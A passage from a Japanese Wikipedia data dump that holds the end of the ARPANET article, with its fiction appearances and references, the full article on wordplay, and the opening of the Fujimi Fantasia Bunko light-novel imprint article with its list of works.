* ''Scenario'' (1985) - アメリカの[[シチュエーション・コメディ]]番組 ''[[:en:Benson (TV series)|Benson]]'' の1エピソード(シーズン6、エピソード20)。ARPANETにアクセスするシーンがあり、アメリカの普通のテレビ番組で初めてARPANETが登場した<ref>[https://www.imdb.com/title/tt0789851/ "Scenario"], ''Benson'', Season 6, Episode 132 of 158, American Broadcasting Company (ABC), Witt/Thomas/Harris Productions, 22 February 1985</ref>。
=== 後世の作品 ===
* ''[[:en:Let the Great World Spin|Let the Great World Spin]]'' (2009) - {{仮リンク|コラム・マッキャン|en|Colum McCann}}の小説。[[ワールドトレードセンター (ニューヨーク)|ワールドトレードセンター]]の2つのタワーの間を大道芸人[[フィリップ・プティ]]が綱渡りでわたる様子を聞くため、[[パロアルト (カリフォルニア州)|パロアルト]]からARPANET経由でニューヨークの電話ボックスに接続するシーンがある。
* 「[[メタルギアソリッド3]]」(2004) - ゲーム。シギントという登場人物はゲーム内で描かれた事件の後、ARPANET開発に携わったという設定である。
* ''[[:en:Blue Box (Doctor Who)|Blue Box]]'' (2003) - [[ドクター・フー]]の小説版。1981年が舞台となっており、2000年にはARPANETに400台のマシンが接続されているだろうと予言する人物が登場する。
* 『[[Xファイル]]』では、ARPANETに言及するエピソードが多数存在し、多くの場合「ローン・ガンメン」が侵入(ハック)する。例えば "アンユージュアルサスペクツ"(シーズン4、エピソード3)がある。
* 『[[LAヴァイス]]』(2009) - [[トマス・ピンチョン]]の小説。1970年ごろの南カリフォルニアが舞台で、"ARPAnet"にアクセスする人物が全編に渡って登場する。
== 脚注 ==
{{Reflist}}
== 参考文献 ==
* {{Cite book|first1=Arthur L.|last1=Norberg |first2=Judy E. |last2=O'Neill |title=Transforming Computer Technology: Information Processing for the Pentagon, 1962–1982 |publisher=Johns Hopkins University |year=1996 |pages=153–196 |isbn=978-0801863691}}
* {{Cite report|url= http://www.dtic.mil/cgi-bin/GetTRDoc?Location=U2&doc=GetTRDoc.pdf&AD=ADA115440|title=A History of the ARPANET: The First Decade |publisher=[[BBNテクノロジーズ|Bolt, Beranek & Newman Inc.]] |location=Arlington, VA |date=1 April 1981}}
* {{Cite book|first1=Katie |last1=Hafner |first2=Matthew |last2=Lyon |title=Where Wizards Stay Up Late: The Origins of the Internet |publisher=Simon and Schuster |year=1996 |isbn= 0-7434-6837-6}}
* {{Cite book|last=Abbate |first=Janet |date=11 June 1999 |title=Inventing the Internet |location=Cambridge, MA |publisher=MIT Press |isbn=0262011727 |asin=B003VPWY6E |pages=36–111}}
* {{Cite book|first=Michael A. |last=Banks |title=On the Way to the Web: The Secret History of the Internet and Its Founders |publisher=APress/Springer Verlag |year=2008 |isbn=1-4302-0869-4}}
* {{Cite book|first=Peter H. |last=Salus |title=Casting the Net: from ARPANET to Internet and Beyond |publisher=Addison-Wesley |date=1 May 1995 |isbn=978-0201876741}}
* {{Cite book|first=M. Mitchell |last=Waldrop |title=The Dream Machine: J. C. R. Licklider and the Revolution That Made Computing Personal |publisher=Viking |location=New York |date=23 August 2001 |isbn=0670899763 |asin=B00008MNVW}}
* {{Cite web|url= http://www.computerhistory.org/press/museum-celebrates-arpanet-anniversary.html |title=The Computer History Museum, SRI International, and BBN Celebrate the 40th Anniversary of First ARPANET Transmission |publisher=Computer History Museum |date=27 October 2009 |accessdate=2012-11-13}}
=== 関係者インタビュー ===
* {{Cite web|url= http://purl.umn.edu/107387 |title=Oral history interview with Robert E. Kahn |publisher=[[チャールズ・バベッジ研究所|Charles Babbage Institute]] |location=University of Minnesota, Minneapolis |date=24 April 1990 |accessdate=2008-05-15}}
* {{Cite web|url= http://purl.umn.edu/107214 |title=Oral history interview with Vinton Cerf |publisher=[[チャールズ・バベッジ研究所|Charles Babbage Institute]] |location=University of Minnesota, Minneapolis |date=24 April 1990 |accessdate=2008-07-01}}
* {{Cite web|url= http://purl.umn.edu/107101 |title=Oral history interview with Paul Baran |publisher=[[チャールズ・バベッジ研究所|Charles Babbage Institute]] |location=University of Minnesota, Minneapolis |date=5 March 1990 |accessdate=2008-07-01}}
* {{Cite web|url= http://purl.umn.edu/107411 |title=Oral history interview with Leonard Kleinrock |publisher=[[チャールズ・バベッジ研究所|Charles Babbage Institute]] |location=University of Minnesota, Minneapolis |date=3 April 1990 |accessdate=2008-07-01}}
* {{Cite web|url= http://purl.umn.edu/107608 |title=Oral history interview with Larry Roberts |publisher=[[チャールズ・バベッジ研究所|Charles Babbage Institute]] |location=University of Minnesota, Minneapolis |date=4 April 1989 |accessdate=2008-08-01}}
* {{Cite web|url= http://purl.umn.edu/107446 |title=Oral history interview with Stephen Lukasik |publisher=[[チャールズ・バベッジ研究所|Charles Babbage Institute]] |location=University of Minnesota, Minneapolis |date=17 October 1991 |accessdate=2008-07-01}}
=== 技術的詳細 ===
* {{Cite conference|first1=Larry |last1=Roberts |authorlink1=ローレンス・ロバーツ |first2=Tom |last2=Marrill |url= http://www.packet.cc/files/toward-coop-net.html |title=Toward a Cooperative Network of Time-Shared Computers |conference=Fall AFIPS Conference |date=October 1966}}
* {{Cite conference|first1=Larry |last1=Roberts |authorlink1=ローレンス・ロバーツ |url= http://www.packet.cc/files/multi-net-inter-comm.html |title=Multiple computer networks and intercomputer communication |conference=ACM Symposium on Operating System Principles |date=October 1967}}
* {{Cite conference|first1=D. W. |last1=Davies |authorlink1=ドナルド・ワッツ・デービス |first2=K. A. |last2=Bartlett |first3=R. A. |last3=Scantlebury |first4=P. T. |last4=Wilkinson |title=A digital communications network for computers giving rapid response at remote terminals |conference=ACM Symposium on Operating Systems Principles |date=October 1967}}
* {{Cite conference|first1=Larry |last1=Roberts |authorlink1=ローレンス・ロバーツ |first2=Barry |last2=Wessler |url= http://www.packet.cc/files/comp-net-dev.html |title=Computer Network Development to Achieve Resource Sharing |conference=Proceedings of the Spring Joint Computer Conference, Atlantic City, New Jersey |date=May 1970}}
* {{Cite conference|first1=Frank |last1=Heart |authorlink2=ロバート・カーン |first2=Robert |last2=Kahn |first3=Severo |last3=Ornstein |first4=William |last4=Crowther |first5=David |last5=Walden |title=The Interface Message Processor for the ARPA Computer Network |url= http://www.walden-family.com/public/1970-imp-afips.pdf |conference=1970 Spring Joint Computer Conference |journal=AFIPS Proc. |volume=36 |pages=551–567 |year=1970}}
* {{Cite conference|first1=Stephen |last1=Carr |first2=Stephen |last2=Crocker |authorlink2=スティーブ・クロッカー |authorlink3=ヴィントン・サーフ |first3=Vinton |last3=Cerf |title=Host-Host Communication Protocol in the ARPA Network |id={{IETF RFC|33}} |url= https://datatracker.ietf.org/doc/pdf/rfc33 |conference=1970 Spring Joint Computer Conference |journal=AFIPS Proc. |volume=36 |pages=589–598 |year=1970}}
* {{Cite conference|first1=Severo |last1=Ornstein |first2=Frank |last2=Heart |first3=William |last3=Crowther |first4=S. B. |last4=Russell |first5=H. K. |last5=Rising |first6=A. |last6=Michel |title=The Terminal IMP for the ARPA Computer Network |url= https://doi.org/10.1145/1478873.1478906 |conference=1972 Spring Joint Computer Conference |journal=AFIPS Proc. |volume=40 |pages=243–254 |year=1972}}
* {{Cite conference|first1=John |last1=McQuillan |first2=William |last2=Crowther |first3=Bernard |last3=Cosell |first4=David |last4=Walden |first5=Frank |last5=Heart |title=Improvements in the Design and Performance of the ARPA Network |url= https://doi.org/10.1145/1480083.1480096 |conference=1972 Fall Joint Computer Conference |journal=AFIPS Proc. |volume=41. part 2|pages=741–754 |year=1972}}
* {{Cite book |last1=Feinler |first1=Elizabeth J. |authorlink2=ジョン・ポステル |last2=Postel |first2=Jonathan B. |asin=B000EN742K |title=ARPANET Protocol Handbook, NIC 7104 |publisher=Network Information Center (NIC), SRI International |location=Menlo Park |date=January 1978}}
* {{Cite journal|first1=Larry |last1=Roberts |authorlink1=ローレンス・ロバーツ |url= http://www.packet.cc/files/ev-packet-sw.html |title=The Evolution of Packet Switching |journal=Proceedings of the IEEE |date=November 1978}}
* {{Cite journal|first1=Larry |last1=Roberts |authorlink1=ローレンス・ロバーツ |url= http://www.packet.cc/files/arpanet-computernet.html |title=The ARPANET & Computer Networks |date=September 1986 |publisher=[[Association for Computing Machinery|ACM]]}}
== 関連項目 ==
* [[インターネットの歴史]]
* [[ミサイル・ギャップ論争]]
* [[スプートニク・ショック]]
* [[国防高等研究計画局|DARPA]]
* [[.arpa]]
* [[ネットニュース]]
* [[サイバーシン計画]]
* [[SRIインターナショナル]]
== 外部リンク ==
{{Commonscat|ARPANET}}
* {{Cite web|url= http://som.csudh.edu/cis/lpress/history/arpamaps/ |title=ARPANET Maps 1969 to 1977 | date=4 January 1978| publisher=California State University, Dominguez Hills (CSUDH) |accessdate=2012-05-17}}
* {{Cite web|first=David C. |last=Walden |month=February |year=2003| location=East Sandwich, Massachusetts |url= http://www.livinginternet.com/i/ii_imp_walden.htm |title=Looking back at the ARPANET effort, 34 years later |work=Living Internet |publisher=livinginternet.com |accessdate=2005-08-17}}
* {{Cite web|url= http://www.computerhistory.org/exhibits/internet_history/ |publisher=The Computer History Museum |title=Images of ARPANET from 1964 onwards |accessdate= 2004-08-29}} 年表
* {{Cite web|url= http://www.rand.org/about/history/baran.html |title=Paul Baran and the Origins of the Internet |publisher=[[ランド研究所|RAND Corporation]] |accessdate= 2005-09-03}}
* {{Cite web|first=Leonard |last=Kleinrock |authorlink=レナード・クラインロック |publisher=[[カリフォルニア大学ロサンゼルス校|UCLA]] |url= http://www.lk.cs.ucla.edu/internet_first_words.html |title=The Day the Infant Internet Uttered its First Words|accessdate=2004-11-11}} - ARPANET上の最初のメッセージに関する逸話
* {{Cite web|url= http://www.dougengelbart.org/firsts/internet.html |title=Doug Engelbart's Role in ARPANET History |year=2008 |accessdate=2009-09-03}}
* {{Cite web|url= http://www.juliantrubin.com/schooldirectory/internet_milestones_pioneers.html |title=Internet Milestones: Timeline of Notable Internet Pioneers and Contributions |accessdate=2012-01-06}} 年表
* {{Cite web|url= https://personalpages.manchester.ac.uk/staff/m.dodge/cybergeography/atlas/historical.html |title=Historical Maps of ARPANET and the Internet |accessdate=2021-09-27}}
{{Telecommunications}}
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{{DEFAULTSORT:ARPANET}}
[[Category:インターネットの歴史]]
[[Category:UNIXに関連する組織]]
[[Category:国防高等研究計画局]] | 2003-04-16T01:44:34Z | 2023-12-12T09:28:45Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/ARPANET |
6,790 | 言葉遊び | 言葉遊び()は、言葉の持つ音の響きやリズムを楽しんだり、同音異義語を連想する面白さや可笑しさを楽しむ遊びである。学術用語では言語遊戯とも言う。
言葉は、音声・文字といった表現(能記)と、そうした音声・文字がもつ意味内容(所記)から成り立つ。言葉遊びは機知によってそれら表現・意味内容や、それらの間の関係を加工・変成させて面白みを引き出す表現上の演出のひとつであり、文章中の技法や完成した作品までを内包した概念である。言葉を道具としてある種の感動を与える行為の中で、言葉遊びは零細で単発的・一時的・瞬間的な遊戯と言える。そのため、無駄口や駄洒落といった言葉遊びは、コミュニケーションを潤滑にする場合もあれば、時と場所によっては嫌悪や反感を生む場合もある。
日本語における言葉遊びでは、表音文字であるかなの表現の背後に表意文字である漢字での本来の表記を絡めて、隠れたユーモアをより発揮する例もある。 また、言葉遊びはその知的遊戯性・創造性から、国語教育や幼児教育の現場に取り入れられている。
日本の言葉遊びは細かく分類すると数多くの種類があるが、これらはしばしば言語遊戯の領域を超えて、落語の『寿限無』や歌舞伎の外郎売といった舞台芸として伝統芸能や民俗芸能などに組み込まれている。
本来の意味から転じて、支離滅裂な詭弁や戯言を指して「言葉遊び」と呼称することもある(例:つまらない「言葉遊び」は止めろ)。 | [
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| 言葉遊びは、言葉の持つ音の響きやリズムを楽しんだり、同音異義語を連想する面白さや可笑しさを楽しむ遊びである。学術用語では言語遊戯とも言う。 | [[File:Ziguchi Andon 01.JPG|thumb|right|220px|[[地口行灯]]「とんでゆに入る夏のぶし」]]
{{読み仮名|'''言葉遊び'''|ことばあそび}}は、[[言葉]]の持つ音の響きや[[リズム]]を楽しんだり、[[同音異義語]]を連想する面白さや可笑しさを楽しむ[[遊び]]である。[[学術用語]]では'''言語遊戯'''とも言う{{sfn|荻生|2007|pp=13-16}}<ref>{{kotobank|言語遊戯}}</ref>。
== 概要 ==
言葉は、音声・文字といった表現([[能記]])と、そうした音声・文字がもつ意味内容(所記)から成り立つ。言葉遊びは機知によってそれら表現・意味内容や、それらの間の関係を加工・変成させて面白みを引き出す表現上の演出のひとつであり、文章中の技法や完成した作品までを内包した概念である{{sfn|荻生|2007|pp=13-16}}。言葉を道具としてある種の感動を与える行為の中で、言葉遊びは零細で単発的・一時的・瞬間的な遊戯と言える{{sfn|伊藤|2007|pp=173-178}}。そのため、[[無駄口]]や[[駄洒落]]といった言葉遊びは、コミュニケーションを潤滑にする場合もあれば、時と場所によっては嫌悪や反感を生む場合もある{{sfn|伊藤|2007|pp=173-178}}。
[[日本語]]における言葉遊びでは、[[表音文字]]である[[仮名 (文字)|かな]]の表現の背後に[[表意文字]]である[[漢字]]での本来の表記を絡めて、隠れた[[ユーモア]]をより発揮する例もある。
また、言葉遊びはその知的遊戯性・創造性から、国語教育や幼児教育の現場に取り入れられている{{sfn|伊藤|2007|pp=173-178}}。
日本の言葉遊びは細かく分類すると数多くの種類があるが、これらはしばしば言語遊戯の領域を超えて、[[落語]]の『[[寿限無]]』や[[歌舞伎]]の[[外郎売]]といった舞台芸として[[伝統芸能]]や[[民俗芸能]]などに組み込まれている{{sfn|荻生|2007|pp=13-16}}。
==「詭弁」の意==
本来の意味から転じて、支離滅裂な[[詭弁]]や戯言を指して「言葉遊び」と呼称することもある(例:つまらない「言葉遊び」は止めろ)。
== 代表的な言葉遊び ==
{{See also|Category:言葉遊び}}
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{{Col-3}}
* [[語呂合わせ]]
* [[ぎなた読み]]
* [[ことわざパロディー]]
* [[しりとり]]
* [[たほいや]]
* [[つみあげうた]]
* [[倒語]]
* [[どちらにしようかな]]
* [[なぞかけ]]
* [[もじり句]]
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* [[アナグラム]]
* [[アンビグラム]]
* [[ダズンズ]]
* [[バクロニム]]
* [[ハナモゲラ]]
* [[パングラム]]
* [[回文]]、[[たいこめ]]
* [[空耳アワー|空耳]]
* [[見立て]]
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* [[山号寺号]]
* [[折句]]、[[あいうえお作文]]、[[縦読み]]
* [[早口言葉]]
* [[駄洒落]]、[[地口]]
* [[入れ詞]]
* [[無理問答]]
* [[ルー語]]
* 対義語 - [[中山功太]]の持ちネタの一つ。
* [[ピッグ・ラテン]] - 英語の言葉遊び
* [[チャック・ノリス・ファクト]] - 英語の言葉遊び
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== 脚注 ==
{{脚注ヘルプ}}
{{Reflist}}
== 参考文献 ==
* {{Cite |和書 |author = [[荻生待也]] |title = 図説ことばあそび 遊辞苑 |date = 2007 |publisher = 遊子館 |isbn = 9784946525841 |ref = harv }}
* {{Cite book ja-jp |和書 |author = [[伊藤高雄]] |title = うたう |year = 2007 |chapter = ことば遊びの世界 |publisher = 三弥井書店 |series = シリーズ ことばの世界 | volume = 4 |editor = 日本口承文芸学会 |isbn = 9784838231591 |ref = harv }}
== 関連項目 ==
*{{仮リンク|言語ゲーム (言葉遊び)|en|Language game|label=言語ゲーム}}
*[[フィラー (言語学)]](「遊び言葉」とも)
*{{ill2|言葉遊びの一覧|en|List of forms of word play}} - {{ill2|グラモグラム|en|Gramogram}}(1;won、2:Too、4:for、F8:Fate、CU:see you、H@:hat…)など
== 外部リンク ==
*{{kotobank}}
*{{kotobank|言葉遊}}
{{Normdaten}}
{{DEFAULTSORT:ことはあそひ}}
[[Category:言葉遊び|*]]
[[Category:ミステリ]]
[[Category:修辞技法]]
[[pl:Paragram]]
[[sv:Paragram]] | 2003-04-16T02:57:50Z | 2023-12-29T20:26:16Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E8%A8%80%E8%91%89%E9%81%8A%E3%81%B3 |
6,791 | 富士見ファンタジア文庫 | 富士見ファンタジア文庫(ふじみファンタジアぶんこ)は、株式会社KADOKAWAが発行するライトノベルの文庫レーベル。1988年11月、富士見書房(初代)より創刊した後、1991年に角川書店(富士見事業部)、2005年に富士見書房(2代)が引き継ぎ、2013年10月より現在の体制になる。通称は「ファンタジア文庫」。
1988年1月に創刊されたドラゴンマガジンを母艦誌としたレーベルであるが、本レーベルの創刊は同年の11月に行われた。レーベル創刊時のラインナップは『灼熱の竜騎兵(レッドホット・ドラグーン)』(田中芳樹)、『風の大陸』(竹河聖)、『ペ天使たち』(富田祐弘)、『爆裂お嬢 シンディー・スー』(寺田憲史)、『不死朝伝奇ZEQU』(武上純希)、『ジェラルディン・サーガ』(松枝蔵人)の6シリーズ6冊による同時刊行から成り、この6作をもって本レーベルの創刊作品とみなす。なお慣例としては、刊行ラインナップの表記において先頭に記された田中芳樹の『灼熱の竜騎兵(レッドホット・ドラグーン)〈PART1〉惑星ザイオンの風』を創刊時の第1作・第1冊として数える。
現在では電撃文庫・角川スニーカー文庫と並ぶ、ライトノベルのメジャーレーベルである。
1989年よりファンタジア大賞(旧・ファンタジア長編小説大賞)を主催しており、2008年には新規にネクスト ファンタジア大賞を立ち上げている。受賞作品はこのレーベルから発売。このアワードより第1回準入賞作の神坂一の『スレイヤーズ!』を始めとしたヒット作が出ている。受賞作はドラゴンマガジンにて長期連載化されることも多く、ドラゴンブランドの漫画雑誌での漫画化やアニメ化された作品も多くある。また、本編たる長編とドラマガ連載のものを集めた短編集との2列構成となる作品も多い。2014年6月より『ファンタジアBeyond』が開設され、そこでの連載作品の文庫化もされている。ファンタジアBeyondが廃止されると、カクヨムの公式のファンタジア文庫アカウントが役割を引き継いだ。
2013年から2019年まで毎年10月に『ファンタジア文庫大感謝祭(2013年のみ『ファンタジア文庫25周年祭』)』が東京・ベルサール秋葉原で開催されていた。レーベル単独のイベントは2019年で事実上休止し、2021年3月6日から4月11日までの間、KADOKAWAの他レーベルと合同で「KADOKAWA ライトノベルEXPO2020」がオンラインで開催されている
中高生を中心とした10代を意識して作られたレーベルで、当初から沢山のファンタジー世界を舞台にした小説を出す。しかし創刊時よりファンタジーに限らず、その他の世界を舞台にした本も多数出版していて、平成10年頃まではSFと二大潮流にあった。メディアミックスや企画の恩恵を受ける形で数々の人気作が生まれてゆくが、平成半ばになると学園を舞台にした作品が、より世界観を把握しやすくなる設定として取り入れられ、ヒットの基盤となって広く浸透していく。平成末期からはWEB小説がフォーカスされ、レーベルを支えていた。レーベルをひと口に語ることは難しいが、いつの時代も若い読者に受け入れられるように創意工夫で鎬を削っている。
以前はシェアード・ワールド化の一環の小説も扱っていたが、2010年頃に富士見ドラゴンブックがこの傾向を引き継いで、現在は展開されていない。
創刊以後、長らく表紙を太字ゴシック体の題字・挿絵を左下に配置するデザインで基本的に統一していたが、2000年には題字部分を、2005年頃より表紙デザインを自由化する。
2008年8月の新刊からは背表紙のデザインも変更され、ファミ通文庫やHJ文庫で採用されている「シリーズ番号」を導入した。同時にレーベルロゴが現在のものに刷新され、『ファンタジア文庫』が通称となる。なお、それ以前においての各巻の番号分類は、前述の『灼熱の竜騎兵(レッドホット・ドラグーン)〈PART1〉惑星ザイオンの風』を「1-1」として以降《前番号 - 後番号》という表記による「シリーズ毎の分類番号」を用いていた。この分類番号には現在採用されている「シリーズ番号」における「著者分類」(あ-1)に相当する部分が存在せず、シリーズの初出・分類順に「シリーズとしての番号」を振られてこれを前番号とし、後番号はシリーズの何巻目に当たるかを意味する。
旧来の(表紙デザイン自由化の前の)作品を除けば、表紙にイラストレーターの表記は長らく未掲載だったが、2013年5月から掲載されるようになった。ただし、2013年4月以前から刊行されているシリーズは引き続き未掲載のままである。
電撃文庫・角川スニーカー文庫と共に角川系列のレーベルであり、1990年代後期から2008年まで在庫管理のため、背表紙に二次元コードを設けていたが、現在は廃止している。
1990年代後期から既刊にはピンク色の帯に「夢、大爆走」としたキャッチコピーを用いていたが、2000年代中期からは「入魂」にリニューアルされた。ただし、現在既刊に統一された帯・キャッチコピーは付属していない。
富士見ファンタジア文庫とドラゴンマガジン15周年記念で発売された、富士見書房の作品を基にしたトレーディングカードゲームである。同シリーズの『F』からは角川書店の作品も加わった。
富士見ファンタジア文庫とドラゴンマガジン30周年記念企画のひとつとして製作された、富士見ファンタジア文庫作品のキャラクターが一同に集結するiOS/Android/PC用クロスオーバーRPGである。EXNOA(旧DMM GAMES)とKADOKAWAの合同プロジェクトで、gumiが企画・開発として参画している。2020年12月17日より配信開始。配信に先立ってウェブラジオ番組『ファンタジア・リビルド エンデと理乃の「愛した世界を紡ぐラジオ」』が配信されている。2021年12月17日をもってサービス終了となり、終了後にも「ストーリー」・「イラスト」・「ボイス」を閲覧できるオフライン版の提供もされた。
2011年5月9日に開設されたニコニコチャンネル内の富士見書房ファンタジア文庫・ドラゴンブックチャンネルという配信元にて、ドラ生!!(ドラゴンブック関連)・ファンタジア文庫放送局(ファンタジア文庫関連)といった生放送の動画など配信。2018年7月18日のニコニコ生放送以降は、YouTube LiveのKADOKAWAanimeチャンネルでの配信に移行している(視聴期限等はニコ生時代と同一の1週間)。 | [
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"text": "富士見ファンタジア文庫とドラゴンマガジン30周年記念企画のひとつとして製作された、富士見ファンタジア文庫作品のキャラクターが一同に集結するiOS/Android/PC用クロスオーバーRPGである。EXNOA(旧DMM GAMES)とKADOKAWAの合同プロジェクトで、gumiが企画・開発として参画している。2020年12月17日より配信開始。配信に先立ってウェブラジオ番組『ファンタジア・リビルド エンデと理乃の「愛した世界を紡ぐラジオ」』が配信されている。2021年12月17日をもってサービス終了となり、終了後にも「ストーリー」・「イラスト」・「ボイス」を閲覧できるオフライン版の提供もされた。",
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| 富士見ファンタジア文庫(ふじみファンタジアぶんこ)は、株式会社KADOKAWAが発行するライトノベルの文庫レーベル。1988年11月、富士見書房(初代)より創刊した後、1991年に角川書店(富士見事業部)、2005年に富士見書房(2代)が引き継ぎ、2013年10月より現在の体制になる。通称は「ファンタジア文庫」。 | {{出典の明記|date=2021年12月}}
{{Infobox publisher
| image = Fujimi_Fantasia_Bunko_logo.png
| founded = {{start date and age|1988|11|}}
| country = {{JPN}}
| distribution = {{Flagicon|JPN}} 日本
| genre = [[ライトノベル]]
| owner = [[KADOKAWA]]
}}
'''富士見ファンタジア文庫'''(ふじみファンタジアぶんこ)は、株式会社[[KADOKAWA]]が発行する[[ライトノベル]]の[[文庫本|文庫]]レーベル。1988年11月、[[富士見書房]](初代)より創刊した後、1991年に[[角川書店]](富士見事業部)、2005年に富士見書房(2代)が引き継ぎ、2013年10月より現在の体制になる{{Efn2|売却後の一時期はKADOKAWAが「ブランドカンパニー制」を採用していた事から、発行元は“ KADOKAWA 富士見書房ブランドカンパニー ”という形で記載されていた。現在はブランドカンパニー制が廃されているため、公式な表記から「富士見書房」は消滅している。}}。通称は「'''ファンタジア文庫'''」。
== 概要 ==
1988年1月に創刊されたドラゴンマガジンを母艦誌としたレーベルであるが、本レーベルの創刊は同年の11月に行われた。レーベル創刊時のラインナップは『[[灼熱の竜騎兵]]<small>(レッドホット・ドラグーン)</small>』([[田中芳樹]])、『[[風の大陸]]』([[竹河聖]])、『ペ天使たち』([[富田祐弘]])、『爆裂お嬢 シンディー・スー』([[寺田憲史]])、『不死朝伝奇ZEQU』([[武上純希]])、『ジェラルディン・サーガ』([[松枝蔵人]])の6シリーズ6冊による同時刊行から成り、この6作をもって本レーベルの創刊作品とみなす<ref>ドラゴンマガジン 2018年3月号付録冊子「ドラゴンマガジン 30thクロニクル」p.20</ref>。なお慣例としては、刊行ラインナップの表記において先頭に記された田中芳樹の『灼熱の竜騎兵<small>(レッドホット・ドラグーン)</small>〈PART1〉惑星ザイオンの風』を創刊時の第1作・第1冊として数える。
現在では[[電撃文庫]]・[[角川スニーカー文庫]]と並ぶ、ライトノベルのメジャーレーベルである。
1989年より[[ファンタジア大賞]](旧・ファンタジア長編小説大賞)を主催しており、2008年には新規に[[ネクスト ファンタジア大賞]]を立ち上げている。受賞作品はこのレーベルから発売。このアワードより第1回準入賞作の[[神坂一]]の『[[スレイヤーズ|スレイヤーズ!]]』を始めとしたヒット作が出ている。受賞作はドラゴンマガジンにて長期連載化されることも多く、ドラゴンブランドの漫画雑誌での漫画化やアニメ化された作品も多くある。また、本編たる長編とドラマガ連載のものを集めた短編集との2列構成となる作品も多い。2014年6月より『ファンタジアBeyond』が開設され、そこでの連載作品の文庫化もされている。ファンタジアBeyondが廃止されると、[[カクヨム]]の公式のファンタジア文庫アカウントが役割を引き継いだ。
2013年から2019年まで毎年10月に『ファンタジア文庫大感謝祭(2013年のみ『ファンタジア文庫25周年祭』)』が東京・[[ベルサール秋葉原]]で開催されていた。レーベル単独のイベントは2019年で事実上休止し、2021年3月6日から4月11日までの間、KADOKAWAの他レーベルと合同で「KADOKAWA ライトノベルEXPO2020」がオンラインで開催されている<ref>[https://lnexpo.kimirano.jp/ KADOKAWA ライトノベルEXPO2020 キミラノ]</ref>
== 内容・ジャンル ==
中高生を中心とした10代を意識して作られたレーベルで、当初から沢山の[[ファンタジー]]世界を舞台にした[[小説]]を出す。しかし創刊時よりファンタジーに限らず、その他の世界を舞台にした本も多数出版していて、平成10年頃までは[[サイエンスフィクション|SF]]と二大潮流にあった<ref name="FHW">ドラゴンマガジン 2019年7月号 p.192・193</ref>。メディアミックスや企画の恩恵を受ける形で数々の人気作が生まれてゆくが、平成半ばになると学園を舞台にした作品が、より世界観を把握しやすくなる設定として取り入れられ、ヒットの基盤となって広く浸透していく{{R|FHW}}。平成末期からは[[オンライン小説|WEB小説]]がフォーカスされ、レーベルを支えていた{{R|FHW}}。レーベルをひと口に語ることは難しいが、いつの時代も若い読者に受け入れられるように創意工夫で鎬を削っている。
以前は[[シェアード・ワールド]]化の一環の小説も扱っていたが、2010年頃に[[富士見ドラゴンブック]]がこの傾向を引き継いで、現在は展開されていない。
== 装丁・デザイン ==
創刊以後、長らく表紙を太字[[ゴシック体]]の題字・挿絵を左下に配置するデザインで基本的に統一していたが、2000年には題字部分を、2005年頃より表紙デザインを自由化する。
2008年8月の新刊からは背表紙のデザインも変更され、[[ファミ通文庫]]や[[HJ文庫]]で採用されている「シリーズ番号」を導入した。同時にレーベルロゴが現在のものに刷新され、『ファンタジア文庫』が通称となる。なお、それ以前においての各巻の番号分類は、前述の『灼熱の竜騎兵<small>(レッドホット・ドラグーン)</small>〈PART1〉惑星ザイオンの風』を「1-1」として以降《前番号 - 後番号》という表記による「シリーズ毎の分類番号」を用いていた。この分類番号には現在採用されている「シリーズ番号」における「著者分類」(あ-1)に相当する部分が存在せず、シリーズの初出・分類順に「シリーズとしての番号」を振られてこれを前番号とし、後番号はシリーズの何巻目に当たるかを意味する。
旧来の(表紙デザイン自由化の前の)作品を除けば、表紙に[[イラストレーター]]の表記は長らく未掲載だったが、2013年5月から掲載されるようになった。ただし、2013年4月以前から刊行されているシリーズは引き続き未掲載のままである。
[[電撃文庫]]・[[角川スニーカー文庫]]と共に[[角川グループホールディングス|角川系列]]のレーベルであり、[[1990年代]]後期から2008年まで在庫管理のため、背表紙に[[二次元コード]]を設けていたが、現在は廃止している。
1990年代後期から既刊にはピンク色の帯に「夢、大爆走」としたキャッチコピーを用いていたが、[[2000年代]]中期からは「入魂」にリニューアルされた。ただし、現在既刊に統一された帯・キャッチコピーは付属していない。
== 作品一覧 ==
{{節スタブ|WEB投稿発の作品全部について|date=2022-09}}
* 黒はWEB投稿発の作品、青はゲームが原案となっている作品、緑はシェアード・ワールド関連、黄色は漫画原作の小説、赤はその他のメディアミックス。
* 同一のシリーズでありながら、短編集や外伝、続編でタイトルが異なる場合、基本的に最初のシリーズ作品タイトルの下へ記述している。
* いわゆる打ち切り作品(エタった物)も続刊がないとして全○巻の表記をする。事情は個別の作品項を参照。
* 全1巻と単巻との違いは、初めからシリーズの巻数を記載していたが続刊が望めない作品をここでは全1巻としている。ただし、外伝や続編などで、本編以外に単巻が刊行された作品についてはそれについて記した上で「1巻」と書き加えている。
* ★は[[角川つばさ文庫]]で発売している作品。
=== あ行 ===
<!-- 以下に作品を追加するときには、作品名基準で五十音順に並べ、作者名、完結済みかどうかも出来る限り併記してください。また、新たに記事を作るときはリンクをつけてください。 -->
{| class="wikitable" style="width: 98%;"
|-
!width=48%|タイトル
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!width=10%|巻数
|-
|style="background-color: #ccffff;"|[[アーマード・コアシリーズ|ARMORED CORE -FORT TOWER SONG-]]
|style="background-color: #ccffff;"|[[和智正喜]]<br /><small>監修・協力:[[フロム・ソフトウェア]]、[[後藤広幸]]</small>
|style="background-color: #ccffff;"|[[えびね]]
|style="background-color: #ccffff;"|単巻
|-
|[[アーマード・マーメイド]]
|[[風見周]]
|[[雅 (イラストレーター)|雅]]
|全2巻
|-
|[[Re:バカは世界を救えるか?]]
|[[柳実冬貴]]
|[[一葉モカ]]
|全5巻
|-
|style="background-color: #ccffcc;"|[[モンスター・コレクション|アーヴィン英雄伝]]
|style="background-color: #ccffcc;"|[[北沢慶]]<br /><small>原案:[[安田均]]</small>
|style="background-color: #ccffcc;"|[[堤利一郎]]
|style="background-color: #ccffcc;"|全4巻
|-
|style="background-color: #ffcccc;"|[[ICE (アニメ)|ICE]]
|style="background-color: #ffcccc;"|[[平野靖士]]
|style="background-color: #ffcccc;"|[[玲衣]]
|style="background-color: #ffcccc;"|単巻
|-
|[[愛と哀しみのエスパーマン]]
|[[秋田禎信]]
|[[渡真仁]]
|単巻
|-
|[[アイドル防衛隊ハミングバード]]
|[[吉岡平]]
|[[柳沢まさひで]]
|全2巻
|-
|style="background-color: #ffcccc;"|[[アイドルマスター XENOGLOSSIA|アイドルマスター XENOGLOSSIA 〜絆〜]]
|style="background-color: #ffcccc;"|[[涼風涼]]<br /><small>原作:[[矢立肇]]</small>
|style="background-color: #ffcccc;"|[[Ein (イラストレーター)|Ein]]
